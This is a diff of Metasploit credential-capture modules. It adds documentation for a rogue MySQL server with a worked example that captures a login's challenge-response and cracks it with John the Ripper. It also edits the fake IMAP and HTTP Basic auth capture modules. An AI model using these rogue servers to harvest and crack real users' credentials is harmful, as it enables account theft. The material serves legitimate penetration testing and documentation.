|
||||||
|
|
||||||
|
The user is prompted about the invalid certificate, and the client gets stuck at "Logging in...", however
|
||||||
|
it doesn't matter since the credentials have already been sent.
|
||||||
|
|
@ -0,0 +1,72 @@
|
||||||
|
This module creates a mock MySQL server which accepts credentials. Upon receiving a login attempt, an `ERROR 1045 (2800): Access denied` error is thrown.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: ```use auxiliary/server/capture/mysql```
|
||||||
|
3. Do: ```run```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**CHALLENGE**
|
||||||
|
|
||||||
|
The MySQL 16 byte challenge used in the authentication. Default is `112233445566778899AABBCCDDEEFF1122334455`.
|
||||||
|
|
||||||
|
**JOHNPWFILE**
|
||||||
|
|
||||||
|
Write a file containing a John the Ripper format for cracking the credentials. Default is ``.
|
||||||
|
|
||||||
|
**CAINPWFILE**
|
||||||
|
|
||||||
|
Write a file containing a Cain & Abel format for cracking the credentials. Default is ``.
|
||||||
|
|
||||||
|
**SRVVERSION**
|
||||||
|
|
||||||
|
The MySQL version to print in the login banner. Default is `5.5.16`.
|
||||||
|
|
||||||
|
**SSL**
|
||||||
|
|
||||||
|
Boolean if SSL should be used. Default is `False`.
|
||||||
|
|
||||||
|
**SSLCert**
|
||||||
|
|
||||||
|
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||||
|
generated. Default is ``.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### MySQL with MySQL Client and JTR Cracking
|
||||||
|
|
||||||
|
Server:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/server/capture/mysql
|
||||||
|
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
|
||||||
|
johnpwfile => /tmp/mysql.logins
|
||||||
|
msf5 auxiliary(server/capture/mysql) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/mysql) >
|
||||||
|
[*] Started service listener on 0.0.0.0:3306
|
||||||
|
[*] Server started.
|
||||||
|
[+] 127.0.0.1:59604 - User: admin; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 46677c2d9cac93da328c4321060c125db759925e
|
||||||
|
```
|
||||||
|
|
||||||
|
Client:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~# mysql -u admin -ppassword1 -h 127.0.0.1
|
||||||
|
ERROR 1045 (28000): Access denied for user 'admin'@'127.0.0.1' (using password: YES)
|
||||||
|
```
|
||||||
|
|
||||||
|
JTR:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~# john /tmp/mysql.logins_mysqlna
|
||||||
|
Using default input encoding: UTF-8
|
||||||
|
Loaded 1 password hashes with no different salts (mysqlna, MySQL Network Authentication [SHA1 32/64])
|
||||||
|
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||||
|
password1 (admin)
|
||||||
|
1g 0:00:00:00 DONE 2/3 (2018-11-08 21:05) 20.00g/s 16800p/s 16800c/s 16800C/s password1
|
||||||
|
Use the "--show" option to display all of the cracked passwords reliably
|
||||||
|
Session completed
|
||||||
|
```
|
||||||
|
|
@ -94,7 +94,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
proof: req['Authorization']
|
proof: req['Authorization']
|
||||||
)
|
)
|
||||||
|
|
||||||
print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}")
|
print_good("HTTP Basic Auth LOGIN #{cli.peerhost} \"#{user}:#{pass}\" / #{req.resource}")
|
||||||
if datastore['RedirectURL']
|
if datastore['RedirectURL']
|
||||||
print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
|
print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
|
||||||
send_redirect(cli, datastore['RedirectURL'])
|
send_redirect(cli, datastore['RedirectURL'])
|
||||||
|
|
|
||||||
|
|
@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ])
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]),
|
||||||
|
OptString.new('BANNER', [ true, "The server banner", 'IMAP4'])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
@ -44,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
def on_client_connect(c)
|
def on_client_connect(c)
|
||||||
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
||||||
c.put "* OK IMAP4\r\n"
|
c.put "* OK #{datastore['BANNER']}\r\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_client_data(c)
|
def on_client_data(c)
|
||||||
|
|
@ -76,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
|
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
|
||||||
|
|
||||||
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
|
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
|
||||||
print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -58,7 +58,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def mysql_send_greeting(c)
|
def mysql_send_greeting(c)
|
||||||
# http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Handshake_Initialization_Packet
|
# https://dev.mysql.com/doc/internals/en/connection-phase-packets.html
|
||||||
|
|
||||||
length = 68 + @version.length
|
length = 68 + @version.length
|
||||||
packetno = 0
|
packetno = 0
|
||||||
|
|
@ -138,7 +138,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
module_fullname: fullname,
|
module_fullname: fullname,
|
||||||
username: opts[:user],
|
username: opts[:user],
|
||||||
private_data: opts[:password],
|
private_data: opts[:password],
|
||||||
private_type: :password
|
private_type: :nonreplayable_hash
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
||||||
login_data = {
|
login_data = {
|
||||||
|
|
@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
port: datastore['SRVPORT'],
|
port: datastore['SRVPORT'],
|
||||||
service_name: 'mysql_client',
|
service_name: 'mysql_client',
|
||||||
user: info[:username],
|
user: info[:username],
|
||||||
pass: hash_line,
|
password: hash_line,
|
||||||
proof: info[:database] ? info[:database] : hash_line
|
proof: info[:database] ? info[:database] : hash_line
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue